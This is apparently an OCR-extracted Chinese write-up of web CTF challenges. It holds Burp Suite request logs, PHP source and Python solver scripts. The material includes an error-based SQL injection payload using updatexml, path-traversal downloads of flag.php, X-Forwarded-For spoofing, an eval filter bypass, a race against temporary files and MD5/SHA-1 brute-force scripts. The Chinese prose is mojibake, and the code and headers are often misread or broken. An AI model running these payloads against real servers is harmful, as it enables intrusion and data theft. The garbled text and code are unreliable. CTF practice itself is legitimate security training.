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ext return

~0
$1
$2

~4
$5
$6

~8
$9
$10

~12

~13

~14

operands
'dotyou+know+Vulcan+Logic+Dumper$3F%3Cbr%3E"’

'_GET'
$1, 'flagl’
~0

10, $2

' _GET'
55, 'flag2'
.-.4 ——
11, S6

'_GET'
89, 'flag3d’'
-8

12, $10

10, "fvhijihfcy'
~12, ->§§

11, 'gfuyiyhioyf'
~13, ->35

12, 'yugoiiyhi'
~14, ->32

'the+next+steptis+xxx.zip
->34

'false%3Cbr%3E’
->37

'false%3Cbr%3E’
->40

'false%3Cbr%3E’

nuner UL ups: o o
compiled vars: 10 = 8a, 11 = §b, 12 = Sc
line # * op fetch
2 0 > EXT_ STMT
1 ECHO
=] 2 EXT_STMT
3 BEGIN_SILENCE
4 FETCH R global
5 FETCH_DIM R
6 END_SILENCE
7 ASSIGN
4 8 EXT_STMT
9 BEGIN_SILENCE
10 FETCH R global
11 FETCH_DIM R
12 END_STILENCE
13 ASSIGN
5 14 EXT STMT
15 BEGIN_SILENCE
16 FETCH_R global
17 FETCH DIM R
18 END_SILENCE
19 ASSIGN
6 20 EXT STMT
21 IS_EQUAL
22 > JMPZ
7 23 > EXT STMT
24 IS_EQUAL
25 > JMPZ
8 26 > EXT STMT
27 IS_EQUAL
28 > JMPZ
9 29 > EXT_STMT
30 ECHO
10 31 > JMP
Ll 32 > EXT_ STMT
33 ECHO
13 34 > > JMP
14 35 > EXT_ STMT
36 ECHO
16 37 > > JMP
=7 38 > EXT STMT
39 ECHO
19 40 > NOP
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do you know Vulcan Logic Dumper?
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if(isset($_POST['username']) && isset($_POST[ 'password’']) && isset($_POST[ 'number'])){
$db = new mysql_db();
$username = $db->safe_data($_POST['username']);
$password = $db->my_md5($_POST[ 'password']);
$number = is_numeric($_POST[ 'number']) ? $ POST['number'] : 1;
$username = trim(str_replace($number, '', $username));

$sql = "select * from". .table_name. ."where username=". ."$username".

X BusernamefbFEIEN, b Ri#4T T safe_datakb®, FRATERHEXAHRE

public function safe_data($value){
if( MAGIC_QUOTES_GPC ){
stripcslashes($value);

}

return addslashes($value);

ARG E B R Eusername b A THI A B E S “number”, I SRR B B T

Susername = trim(str_replace($number, ", $username));
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‘ ® [ ] Burp Suite Community Edition v1.7.30 - Temporary Project
Burp Intruder Repeater Window Help

[Target T Proxy I Spider I Scanner T Intruder TRepeater T Sequencer T Decoder I Comparer I Extender T Project options I User options IAIerts I Sglmap ]

1|2« (S ...

Go Cancel | [ <|v | >|v Target: htp://106.75.26.211:1111 | .#|| 2|
Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

POST /1chungiu/legin.php HTTP/1.1 i HTTP/1.1 280 OK &
Host: 106.75.26.211:1111 E Date: Fri, 19 Jan 2018 @2:37:52 GMT 3
User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 05 X 18.13; rv:52.8) Server: Apache/2.4.7 (Ubuntu)

Gecko/20100101 Firefox/52.0 X-Powered-By: PHP/5.5.9-lubuntud.22
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8 Vary: Accept-Encoding
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Content-Length: 173
Accept-Encoding: gzip, deflate Connection: close

Referer: http://1@6.75.26.211:1111/1chungiu/login.html Content=Type: text/html; charset=utf-8
X-Forwarded-For: 127.8.0.1

Connection: close HUEEMITHIR ! You have an error in your 5QL syntax; check the manual that
Upgrade-Insecure-Requests: 1 corresponds to your MySQL server version for the right syntax to use
Content-Type: application/x-www-Torm-urlencoded near ''\\'"" at line 1

Content-Length: 79

numbe r=0&username=%@0 '&password=123&submit=%E6%8F%90%E4%BA%A4SEO%IFSASSES
SAFsA2

9 -
v v
[LJ uj lLJ QJ Type a search term 0 matches QJ liJ uj lLJ Type a search term 0 matches
Done 400 bytes | 58 millis
1. number=0&username=%00" and updatexml(1,concat(1,(select group_concat(table_name) from
information_schema.tables where table_schema=database())),1)#&password=123&submit=Submit+Query ///E%*
2. number=0&username=%00" and updatexml(1,concat(1,substr((select * from
flag),1,15)),1#&password=123&submit=Submit+Query //{&flag

GetFlag

€ | (0 106.75.26.211:2222 Ui ¢ @ Q- wBA 3+ A O & - - | =
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Hello, web dog!

Hello, single dog, This is a mini file manager, you can login and download the files and even get the flag.
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Password

substrimd5{captcha), 0, 6)=b4ea86
Captcha:

Submit

& 3 — B figsubstr(md5(captcha), 0, 6)=10c6ca & HU K IEFSMDS N % & M RT64AL, W UA'S A B8 . EH2NIFF
WHEHEBAN TR, BERNMERIELA LA, B HRK. ERER—E, XEMNIZERSIREZS
BAMES ZHBIER, REHITMDSINE B#THE, FIURIEBKERAIRTLAEET, HERXT T2
HIISIERD BE DT AT SR IH I JLRBAR, FTOAE T —ANUALIIERS A, B0 R IIERD, BEMEE— ANy bA
T

T TH 2 python i AR RS A28 3 MR 45 2R

import string,hashlib
a=string.digits+string.lowercase+string.uppercase
for i in a:
for j in a:
for k in a:
for m in a:
s=hashlib.md5(i+j+k+m).hexdigest()[0:6]
if s=="9bf514":
print i+j+k+m
break



(i) & | 106.75.26.211:2222/action.php?action=login
Q SERAERE | Wo.. Objectif Sécurité -... &\ ZoomEye - Cybers...

Username

Password

substr(md5(captcha), 0, 6)=83d86b
Captcha:

Submit

hashlib

list="'0123456789'
E] list:
b list:
c list:
d list:
e (53
T list:
q list:
stra={a+b+crd+e+fig)
value = hashlib.md5(str4)
valuel = value.hexdigest()

s4 = valuel[0:6]

s4 '83d86b' :
str4

WAUERD BB R T, (HERPFZMELNE, ZRTsqiEARAEMH AR, ERZXTRENERM, RRHEE
e

Welcome admin’ or '1'="1!
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1. hello.txt
2. 5.t
3.a.php

¥a.php T3 TR KA &R Rflag is in the web root dir, X B8 T 8 CFRL AT LAE B SO 465 8642, BLAT BA
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. . E, “ﬂ.php”ﬁﬁ

a.php JOER
we | {SoIENE: FEE To3:21

v Ef:
BRE: PHP

Kalv: ﬁ’"‘ﬁ (B E8 4 KB)
{3

BIEEESE: BFR FF321
EelEE: BRI

| HERR
| EHiE
v ESEE:

W@ http:(/106.75.26.211: 2222 ffile/download . php?
f=a.php, http:/106.75.26.211:2222/action.php?

action=file
r BiST RS k
b EE:
b TR
¥ Fs:
=7php
echo "Do what you want to do, web dog,

flag is in the web root dir";
T

XEEFEZE P, RwindowsHiRkS 230 Zlinuxi) k452808, BEAE U7 in — /Ml LUR B2 Ubuntu, 8%
FHRATHBEXNE, SBURKEHZInuxT

€ | (0 | 106.75.26.211:22221.php

QY SoRAEE | Wo. e Objectif Sécurité -... @ ZoomEye - Cyber:
Not Found

The requested URL /1.php was not found on this server.

Apache/2. 4.7 (Ubuntu) Server ar 106.75.26.211 Port 2222

MAMRE T HERNS T LT WL BE4E, AL Rflag.php



106.75.26.211:2222/file/download. php?f=/varfwww/htm|/flag.php & 00 Q linux webiR SR H2

EERE o... jectif Séeurité -...  @. ZoomEye - Cybers... T Mac 2iESS A ackmarks — ice - i = R
SEREEE W Objectif 5 ZoomEye - Cyb [ mac 2lgssxs Bookmark: = Office CVE-2017 CSDN-FUITiEA

@ IETETFF var_www_html_flag.php

BEE T

& _wvar_www_html_flag.php

SR TXT 30 (263 FF)
FiF:  http:f/106.75.26.211:2222

{RA8%E Firefox RN{EIAbIE {7

AR, B | @R
OREE (0 TH W

..
BAS B R AEEAED fEAR b S S,

flag.phpiIfSiB T, EBERAPOSTR A flags#h, Uflag=flaght, S#iH— M XHHAZ

<?php
$f = $_POST[ 'flag'];
$_F=S.tr‘_r‘ep]-ace(ar‘r‘ay(I‘IJ I$I, I*I, I#I, I:I) I\\I, IIII, lllll, I(l, l)l, l-l’ l>l)’ ll’ $_F);
if((strlen($f) > 13) || (false !== stripos($f, 'return')))
{
die('woww 5
¥
try
{
eval("\$spaceone = $f");
}
catch (Exception $e)
{
return false;
¥
if ($spaceone === 'flag'){
echo file_get_contents("helloctf.php");
}

?>



R Aflag.phpfEMR B3R, MAEHBEYH, RERZPOSTSH, KAEHLKRM

€ (i) 106.75.26.211:2222/flag.php TE o @
J SEmAEE | wo.. (@ Objectif Sécurité -.. © ZoomEye - Cybers.. | | Mac#i&$A£ .. @ Bookmarks | Office CVE-2017-
INT = & S5QL> XS5+ Encryption~ Encoding~ Other~

@ Load URL  hip:/106.75.26.211:2222/flag.php
$  spiiturL

k) Execute

Enable Post data |~ | Enable Referrer

peEt | flag=flag:

I mt Hburpi—TF

[Target I Proxy [ Spider ] Scanner ] Intruder | Repeater ] Sequencer I Decoder I Comparer | Extender I Project options | User options IAIerts [ Sqlmap l

Go Cancel <|v > |y Target: http://106.75.26.211
Request Response
j Raw T Params I Headers I Hex ] j RawT Headers I Hex ]
POST /flag.php HTTP/1.1 A HTTP/1.1 288 0K
Host: 1@86.75.26.211:2222 i Date: Fri, 19 Jan 2018 ©3:30:23 GMT
User-Agent: Mozilla/5.8 {Macintosh; Intel Mac 05 X 18.13; rv:52.0) Gecko/20100181 Server: Apache/2.4.7 (Ubuntu)
Firefox/52.80 X-Powered-By: PHP/5.5.9-1ubuntu4.22
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8 Content-Length: 63
Accept-Language: zh-CN,zh;q=0.8,en-U5;q=0.5,en;q=0.3 Connection: close
Accept-Enceding: gzip, deflate Content-Type: text/html
Cookie: PHPSESSID=1csvkgrog8mlrcSnol8sfloiul
X-Forwarded-For: 127.08.0.1 <?php
Connection: close $flag="flag{d6eb81a1-9859-aadf-8af4-a%ad8cb3e2le}";
Upgrade-Insecure-Requests: 1 1>
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
flag=flag;

R T BT MEPRA

V7R P2 T A X AR, RBREV X AMag.php, AR SEBIAERKXHAY, XHARBETED
url+u/+mdS(FEHLE)+txt, T HIX A4 4 B 10s f5 = M BR

(' ':i:' 106.75.26.211:3333 g ﬁ c
O SEEEEE | wo.. e Chbjectif Sécurité -... & ZoomEye - Cybers... f:ﬁ Mac EiESSA2 .. @ Bookmarks |= Office CY
<7?php

header("content-type:text/html;charset=utf-8");
' 9OOOOTEVOLO9
setcockie( 'token’', 'hello');
show_source(__ FILE );
if ($_COOKIE[ 'token']=='hello'){
$txt = file_get contents(’'flag.php');
$filename = 'u/’'.md5(mt_rand(1l,1000))."'.txt"';
file put contents($filename, $txt);
sleep(10);
unlink($filename) ;

FAMA, EREEZKEIRGHERZAN S, ZERBA - RBRESE T, TREEATR, HEZ LK
BATLL Y
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# -*- coding: utf-8 -*-
import requests

import re

import md5

for i in range(0,1001):

ml = md5.new()
ml.update(str(i).encode(encoding="utf-8"))
url="http://106.75.26.211:3333/u/"+ml.hexdigest()+".txt"'
r = requests.get(url)
if(r.status_code!=404):

print i

print url

print r.status_code #%iH R

print r.text #3XAFEfHMNITAE

break
else:

print i

print "404" #ZIBEMERAZITELR

m w |$ python ctf-4.py
4 ctf-4.py
/106.75.26.211:3333/u/92262bT907at914b95a0fc33c3f33bf6. txt
requests

re
md5

b5ad4-acc6-6ea7bf80e75a}";

i range(@
ml = mdS.new()
ml.update(str(i).encode(encoding="'utf-8'))
url="http://106.75.26.2 33/u/'+ml. hexdigest()+'.txt
r = requests.get(url)
(r.status_code

i

url

r.status_code

r.text

pyscript
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Burp Intruder Repeater Window Help

[Target T Proxy T Spider TScanner I Intruder T,.‘nggagqr T Sequencer T Decoder T Comparer I Extender T Project options T User options IAIerts TSquap ]

Go Cancel | [ < [v || >|v Target: http://106.75.108.111:1111 [.#)
Request Response
Raw | Params | Headers | Hex | Raw | Headers | Hex | HTML T Render ]

el

POST / HTTP/1.1 | & HTTP/1.1 200 OK
Host: 186.75.108.111:1111 r Date: Fri, 19 Jan 2018 ©8:34:00 GMT
User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 05 X 10.13; rv:52.8) Gecko/20100181 Server: Apache/2.4.7 (Ubuntu)
Firefox/52.8@ X-Powered-By: PHP/5.5.9-1lubuntu4.22
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8 Expires: Thu, 19 Nov 1981 88:52:0@0 GMT
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Cache-Contrel: no-store, no-cache, must-revalidate, post-check=0,
Accept-Encoding: gzip, deflate pre-check=0
Referer: http://106.75.108.111:1111/ Pragma: no-cache
Cookie: PHPSESSID=512ug9usj2md48tjtvap@817qt7 [Ciphertext: dlccb633a75478841eb561cd@ez6d35015Te279c |
X-Forwarded-For: 127.0.8.1) Vary: Accept-Encoding
Connection: close Content-Length: 603
Upgrade-Insecure-Requests: 1 Connection: close
Content-Type: application/x-www-form-urlencoded . Content-Type: text/html; charset=utf-8
Content-Length: 8
<!DOCTYPE html>
pass=aaa <html>
<head>
<meta charset="UTF-8"=>
<title>Hello</title>
<link rel="stylesheet" href="css/style.css" media="screen"
type="text/css" />
</head>
bodyz
1—-ROUND ONE-—>
1= A3 -—
I——shal( = #IF+s5ev0651MijzZ6IKH7Ly305tXVpy0Jd)==Ciphertext -->
b —-FTFI0sREER ——>
¥ <div class="panel >
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R
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# -*- coding: utf-8 -*-
import urllib,urllib2,json
import hashlib

import re
import requests

url = 'http://106.75.108.111:1111"

def sha_1(data):
sha_1 = hashlib.shal()
sha_1.update(data)
sha = sha_1l.hexdigest()
return sha

def key(keyl,key2):
c='0123456789"
strl = keyl
cipher = key2
for i in c:
for j in c:
for k in c:
if sha_1(i+j+k+strl) == cipher:
# print (i+j+k)
return i+j+k
def get_info():
r = requests.post("http://106.75.108.111:1111")
key2 = r.headers['Ciphertext']
cookies = r.cookies#3kHElcookie
html = r.text#3KEBMEAZE
res = r'\+(.*?)\)’
keyl = re.findall(res,html)[0]
print keyl
return keyl,key2,cookies

def postx(number,cookies):
cookies = cookies#{¥ificookie
values={"'pass':number}
response = requests.post("http://106.75.108.111:1111", cookies=cookies,data=values)#postifRIER
return response.text

def sum(text):
res = r'<l-- ¥2([\d\+\-\*]+).*¥?-->"#IEM]
key3 = re.findall(res,text)[0]
result = eval(key3)#eval¥BZRFH strYBA MMREARREIRETHER

return result

main__':
(keyl,key2,cookies)=get_ info()#IKEUIRIR
number = key(keyl,key2)#3REURH HRKI =N HF
resultl = postx(number,cookies)#3#kEpostiER A%
result2 = sum(resultl)
print result2#¥itiflag
print postx(result2,cookies)

if __name__ ==



f,m o= = = m j = % python 4.py
sZGlQNi6LdIie7hE8WytC6gRFnMgZ8

2848592

<!1DOCTYPE html>

<head>
<meta charset="UTF-8">
<title>Hello</title>
<link rel="stylesheet" href="css/style.css" media="screen" type="text/css" />

<!--flag{895e7500-bald-bcc4-84fd-548db6b34fof} ——>
<!——-FTF1OsARZEFR —
<div class="panel">
<div class="wrap">
<form method="POST" action="#">
<input type="text" name="pass" placeholder=" here"/>
<button onclick="form.submit();">Shhh!</button>
</form>

hjjdeMacBook-Air:desktop hjj$

fuzzing
€ (0 | 106.75.108.111:2222/test.php U o
0 SamEEE | Wo. e Objectif Sécurité -... '@, ZoomEye - Cybers... Mac EIFSSEE @ Bookmarks I m Office CVE

there is nothing

MBERZEREEH N RAMKRER, BHEZBBX-Forwarded-For, ip410.0.0.1Bt/#1% 75



1« (SR ...

Go Cancel < | > |v Target: http://106.75.108.111:2222 [«
Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex
| Raw | [

3ET /test.php HTTP/1.1 a HTTP/1.1 280 0K

Host: 106.75.188.111:2222 1 Date: Fri, 19 Jan 2018 @3:57:56 GMT
User-Agent: Mezillas/5.@ (Macintosh; Intel Mac 0S5 X 18.13; rv:52.8) server: Apache/2.4.7 (Ubuntu)
Secko/28100101 Firefox/52.0 X-Powered-By: PHP/5.5.9-1ubuntud.22?
sccept: text/html,application/xhtml+xml,application/xml;q=0.9,%/+%;q=0.8 [hint: ip,Large internal network | e

bccept-Language: zh-CN,zh;q=0.8,en-U5;0=0.5,en;q=0.3 L Content-Length: 16
tccept-Encoding: gzip, deflate Connection: close
Cookie: PHPSESSID=5i2uq9usj2md8tjtvap@8l7qt? Content-Type: text/html
¥-Forwarded-For: 127.0,0,1
Connection: close
Upgrade-Insecure-Reguests: 1
Cache=Control: max-age=0

b FE/10.0.0.189ip there is nothing|

BRZJEVIH 2T % E—1key

Burp Intruder Repeater Window Help

{Target I Proxy I Spider I Scanner I Intruder I Repeater T Seqguencer I Decoder I Comparer I Extender I Project options I User options IAIerts I Sglmap ]

1 x| 2 x| 3 » (S

Go Cancel < | >\ Target: http://106.75.108.111
Request Response
JRawT Params IHeaders I Hex ] j Raw T Headers I Hex ]
ET /m4nage.php HTTP/1.1 & HTTP/1.1 208 0K
fost: 1@6.75.108.111:2222 ™ Date: Fri, 19 Jan 2018 @6:13:23 GMT
Jser-Agent: Mozilla/5.8 (Macintosh; Intel Mac 0S5 X 18.13; rv:52.0) Server: Apache/2.4.7 (Ubuntu)
secko/20100101 Firefox/52.0 X-Powered-By: PHP/5.5.9-lubuntu4.22
iccept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8 Content-Length: 16
‘ccept-Language: zh-CN,zh;q=0.8,en-U5;q=0.5,en;q=0.3 Connection: close
\ccept-Encoding: gzip, deflate Content-Type: text/html
‘ookie: PHPSESSID=5i2uq9usj2m48tjtvap@slvqt7
{(~Forwarded-For: 10.8.0.1 Ishow me your key| ]
lonnection: close
Jpgrade-Insecure-Requests: 1
lache-Control: max-age=0

HHPOST/E —AkeyiRikE, MU I A5 8 B3 A X-Forwarded-ForZ &4 510.0.0.1, X Bi/Rkey N IE
#, IE#iRkey&ichunqgiu+(5M$ M =EBE)IN% J5 N5a2a7d385fdaad3fabbe7b11c28bd48e

€ 106.75.108.111:2222/m4nage.php Wi x| # Q&EE-<x: wE O H# B e = lon
© SEmEEs (wo.. (@ ObjectfSécurité .. @ ZoomEye - Cybers... Mac #ER@4A2 .. @ Bookmarks |3 Office CVE-2017-.. [@ CSDN-£WITHER.. PHP: foreach - Ma... » [ ButEsE
INT = & SQLv XSS+ Encryption Encoding~* Other~
@ LeadURL  hitpy106.75.108.111:2222/mAnage.php
SE the it [ ] [ ] Burp Suite Community Editien v1.7.30 - Temporary Project
Y | Burp Intruder Repeater Window Help
1 @ Enable Ptj
o | {Target T Proxy ISpider TScanner T Intruder TRepeater T Sequencer T Decoder TComparer TExtender I Project options IUser options IAIerts T Sqlmap ]
key=key;

1x|2x|3x|4x|5x|6x|7x |8« iol..

|

Go Cancel <|v > |r Target: http://106.75.108.111:2222 E
Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

POST /mdnage.php HTTP/1.1 & HTTP/1.1 208 0K

Host: 106.75.108.111:2222 r Date: Fri, 19 Jan 2018 @6:21:19 GMT
User-Agent: Mozilla/5.@ {(Macintesh; Intel Mac 0S X 18.13; rv:52.0) Server: Apache/2.4.7 (Ubuntu)
Gecko/20100181 Firefox/52.8 X-Powered-By: PHP/5.5.9-lubuntud.22
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/+;q=0.8 Vary: Accept-Encoding
Accept-Language: zh-CN, zh;q=0.8,en-U5;q=0.5,en;g=0.3 Content-Length: 97

Accept-Encoding: gzip, deflate Connection: close

Cookie: PHPSESS5ID=5i2uqlusj2m48tjtvap@81l7qt? Content-Type: text/html
X-Forwarded-Fur:

Connection: close Z key is not right,md5(key)==="5a2a7d385fdaad3fabbe7bllc28hd48e” and the
Upgrade-Insecure-Requests: 1 key is ichunqiu[a-z8-9]{5}
Content-Type: application/x-www-form-urlencoded

Content-Length: 8

key=key;




5 —" pythonfii 4 & i key

import hashlib

def md5(data):
m = hashlib.md5()
m.update(data)
a = m.hexdigest()
return a

a = 'ichungiu'’
b = 'abcdefghijklmnopgrstuvwxyz1234567890"
for i in b:
for j in b:
for k in b:
for 1 in b:
for m in b:
if md5(a+i+j+k+1+m)=="'5a2a7d385fdaad3fabbe7b11c28bd48e" :
print a+i+j+k+1+m

1B H Skkey Nichunqiu618ok, F-RIEAZHLE B~ 1 71X 0. txt

€ | () 106.75.108.111:2222/x0.1xt UHE | ¢ @ QBE-x; T B @A O 6 - =]
O SEREAEE | Wo. Objectif Sécurité -.. &, ZoomEye - Cybers.. Mac #1584 A2 .. @ Bookmarks |5 Office CVE-2017-.. CSDN-EWITHEA.  Bhe PHP: foreach - Ma... » [ BaEssE
function authcode($string, Soperation = 'DECODE', $key = '', S$expiry = 0) {

$ckey_length = 4;

S$key = md5($key ? Skey : UC_KEY);

$keya = md5(substr($key, 0, 16));
Skeyb = md5 (substr(Skey, 16, 16));
$keyc = $ckey_length ? ($Soperation == 'DECODE' ? substr($string, 0, $ckey length) : substr(md5(microtime()), -$ckey_length)) :

$cryptkey = S$keya . md5($keya . Skeyc);
$key_length = strlen(Scryptkey);

$string = $Soperation == 'DECODE' ? base64_decode(substr($string, $ckey length)) : sprintf('%010d', S$expiry ? S$Sexpiry + time() :
0) . substr(md5($string . Skeyb), 0, 16) . S$string;
$string length = strlen($string);

Sresult = '';
$box = range(0, 255);

$rndkey = array();
for ($i = 0; 8i <= 255; Si++) {

s$rndkey[$i] = ord(Scryptkey[$i % S$key_ length]);
}

for ($3 = $1 = 0; $i < 256; $i++) {
$j = ($3 + Sbox[$i] + Srndkey[$i]) % 256;
Stmp = $box[$i];
Sbox[$i] = Sbox[$]];

: $box[$j] = $tmp;
for ($a = $j = $1 = 0; $i < $string_length; $i++) {
Sa = (Sa + 1) % 256;
$j = ($J + $box[S$a]) % 256;
Stmp = $box[$a];
$box[$a] = $box[§]];
$box[$3] = $tmp;
Sresult .= chr(ord($string[$i]) " (Sbox[(S$box[Sa] + Sbox[$j]) % 256]));
}
if ($operation == 'DECODE') {
if ((substr($result, 0, 10) == 0 || substr(S$result, 0, 10) - time() > 0) && substr(Sresult, 10, 16) ==
substr(md5(substr(Sresult, 26) . Skeyb), 0, 16)) {

return substr($result, 26);

LIPS N
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rs

Q SERALE | Wo..

106.75.108.111:2222 fxx00xx00.php

Ui x

|= office CVE-2017-...

# | Q EE B e $OA# 0 e8|

@ Objectif Sécurité .. 1@\ ZoomEye - Cybers.. [[]| Mac #Ii®%4AE .. @ Bookmarks CSDN-SUITHA...

X

xF

e0e
Burp Intruder Repeater Window Help

PHP: foreach - Ma... »

Burp Suite Community Edition v1.7.30 - Temporary Project

"Target l’ Proxy I Spider I Scanner I Intruder TRepeater T Sequencer l’ Decoder I Comparer T Extender I Project options I User options IAIerts l’ Sqlmap ]
L=[2x]3=]ax[5=]6=]7=[8x]ox]10~11]12~ [aua ..
Go Cancel Lot | Target: http://106.75.108.111:2222 | # | 7
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex
GET /xx@@xxoo0.php HTTP/1.1 A HTTP/1.1 200 0K '
Host: 186.75.188.111:2222 i Date: Fri, 19 Jan 2018 06:49:20 GMT r
User=Agent: Mozilla/5.@ (Macintesh; Intel Mac 05 X 10.13; rv:52.8) Server: Apache/2.4.7 (Ubuntu)
Gecko/20100101 Firefox/52.0 X-Powered-By: PHP/5.5.9-1ubuntu4.22
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/*;q=0.8 Vary: Accept=-Encoding
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Content-Length: 168
Accept=Encoding: gzip, deflate Connection: close
ie: = j2m48tjtvapesl7qt? Content-Type: text/html
-Forwarded-For: 18
Connection: close source code is in the x0.txt.Can you guess the key
Upgrade-Insecure-Requests: 1 the authcode(flag) is
Cache-Control: max-age=@ b@f3Jyxlo/p4ZMVDOIBO9a5wHYZqMgnhtfVSWHBTiZ3CSXEns fHDBnFeh0rv8gvImQjneCibM
qBV3NZ7JscNtLFZnplrWQ4
9 -
A v
2 [LJ [LJ [LJ Type a search term 0 matches [;J uj w u Type a search term 0 matches
Done 380 bytes | 74 millis

phpfRRS R B A MRS P, A2 APIANSEL, BT BAfS Blflag 1

f

1 <?php

2 #gstring = '10cequqnpx9chQDaNFU023Bod:wquLthZ-lllC91chFD-BHyFUggHaR-BW:Dh;:yx/guRTTEHiSinhs/yZQfOEaASLkE\:kT%_§ﬁ;ﬁ5“}(ﬁﬂjggtﬁ;—
i #$key = 'ichungiuél8ok'

4 function auth:nde[;;string="_:-ces?qq:pxaz:i\T-’;l:-a:-lF'J:Z5ECdC'pfzq'J:::-v?.-‘itS‘.chPC L', Soperation = 'DECODE', $key =
5 $ckey length = %;

&

7 S$key = md5($key ? Skey : UC_KEY):

8 Skeys = md5 (substr ($key, 16)):

2 $keyb = md5 (substr ($key, 16, 16)):

10 $keyc = $ckey length ? ($operation == 'DECCDE' ? substr($string, 0, $ckey length) : substr(md5(microtime()), -$ckey length}) : '';

$cryptkey = $keva . md5($keva . $keyc):

[T

B oW M

$key_length = strlen($cryptkey);
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cHEHB L8 smk 2

=] s.phpm|

@ -
http://localhost/5.php ®

17
18
13
20
25 )
zz H
23
24 -
25
2e [
27
28
29
30
31 -
32
3z [
34
35
38
37
38
39
40 -
41
42 E
43 =
44
45
45
47 -
47
49
50 -
51 3

$result = '';
fhox = range (0,

255} ;

Srndkey = arravi():
Eor {$i =0y §i «=-255
i $rndkey[$i] = ord(
1

[5] = 81 = 0; &1 <

for
53 = (§3 + Sbox[§i
Stmp = Sbox[$i]:
Sbox[$1] = Sbox[$]
Sbox[$j] = %$tmp;

for ($a = §j = §i = 0;

Sa = (Sa + 1) % 25

@J@ localhost/S.php vEs c | )

£=5E [ rriEiR e aser. [ ssesiiEssmE.. [ AE=ss
INT >

= & S5QL- X55- Encryption~ Encodingr Other-

i

|| @ Load URL
% split URL
r  Execute

E| Enable Post data Enable Referrer

'I flag{bf9c71de-9852-93a0-9852-a23bc07dd12¢}

$3 = (5] + 5box[$
ftmp = $bhox[$al;
Sbhox[%a] = Sbox[%]
Fbox[$3] Stmp;
Sresult .= chrio

}

if (Soperation == 'DEC]
' if | (substr(fresul
retorn substr |
} else {
: retorn "';
_ }
} else {
: return fkeyc . str

}

52
o8

rrenho authcode ()

L4
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